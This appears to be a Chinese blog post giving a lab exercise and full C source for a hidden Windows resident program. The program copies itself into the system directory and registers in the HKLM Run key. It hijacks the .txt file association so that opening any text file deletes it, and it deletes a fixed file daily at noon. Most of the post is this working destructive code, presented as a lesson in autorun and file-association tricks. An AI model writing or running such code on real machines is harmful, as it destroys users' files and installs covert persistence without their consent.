实验要求:
编写一个驻留程序,实现每天固定一个时间自动删除 D://file4.txt ,而且当用户双击一个文本文件时,自动删除文件。
注:本程序运行后 将自身复制到系统目录下,并加入注册表开机运行。修改TXT关联方式为本程序。每天定时12:00 删除 c:/test.txt。 双击TXT文件时 删除该文件。
/*-------------------------------------------------------程序代码-----------------------------------------*/
#include <windows.h>
WNDCLASS wc;
HWND h_wnd;
MSG msg;
/* 消息处理函数wndProc的声明*/
long WINAPI WindowProc(HWND,UINT,WPARAM,LPARAM);
#define ID_TIMER 1
int autorun();
/* winMain 函数的声明*/
int PASCAL WinMain(HINSTANCE h_CurInstance,
HINSTANCE h_PrevInstance,LPSTR p_CmdLine,int m_Show)
{
DeleteFile(p_CmdLine); //删除该文件
/*初始化wndclass结构变量*/
wc.lpfnWndProc =WindowProc;
wc.hInstance =h_CurInstance;
wc.hbrBackground =(HBRUSH)GetStockObject(WHITE_BRUSH);
wc.lpszClassName ="TheMainClass";
/* 注册WndClass结构变量*/
RegisterClass(&wc);
/* 创建窗口*/
h_wnd=CreateWindow("TheMainClass","Our first Window",
WS_OVERLAPPEDWINDOW,0,0,400,500,0,0,h_CurInstance,0);
/* 隐藏窗口*/
ShowWindow(h_wnd,SW_HIDE);
SetTimer(h_wnd,ID_TIMER,10000,NULL);
autorun(); //运行注册表修改函数
/*消息循环*/
while(GetMessage(&msg,NULL,0,0))
DispatchMessage(&msg);
return (msg.wParam );
}
/*消息处理函数*/
long WINAPI WindowProc(HWND h_wnd,UINT WinMsg,
WPARAM w_param,LPARAM l_param)
{
switch (WinMsg)
{
case WM_DESTROY :
PostQuitMessage (0) ;
return 0 ;
case WM_TIMER : //定时删除指定文件
SYSTEMTIME systime;
GetLocalTime(&systime);
if (systime.wHour==12 && systime.wMinute==00)
{
DeleteFile("c://test.txt");
}
return 0 ;
}
return DefWindowProc(h_wnd,WinMsg,w_param,l_param);
}
//注册表修改,将本程序复制到系统目录下,启动自动运行本程序 以及修改TXT打开方式
int autorun()
{
/*-------得到系统目录—并复制自身到系统目录-----------------*/
char SelfFile[MAX_PATH];
char SystemPath[512];
GetSystemDirectory(SystemPath,sizeof(SystemPath));
strcat(SystemPath,"//pj320.exe");
GetModuleFileName (NULL, SelfFile, MAX_PATH);
if(!CopyFile(SelfFile,SystemPath,true))
return 0;
/*---------------复制结束-------*/
HKEY hKey1;
DWORD dwDisposition;
LONG lRetCode;
HKEY hKey2;
LONG ret2;
ret2=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_WRITE,&hKey2);
//打开自动运行注册表键值
ret2 =RegSetValueEx(hKey2,"pj320",0,REG_SZ,(byte*)SystemPath,100);
//增加本程序为启动项
lRetCode = RegCreateKeyEx ( HKEY_CLASSES_ROOT, "txtfile//shell//open//command",
0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE,
NULL, &hKey1, &dwDisposition); //创建TXT文本关联注册表键值
strcat(SystemPath," %1"); //增加 参数
lRetCode = RegSetValueEx ( hKey1, "", 0, REG_SZ, (byte*)SystemPath, 100);
//将TXT文件关联改变
return 0;
}
通过这个例子可以学会 如何让自己的程序开机自动运行,如何复制到系统目录。
以及如何修改 文件关联方式。
驻留程序
最新推荐文章于 2024-05-17 09:51:11 发布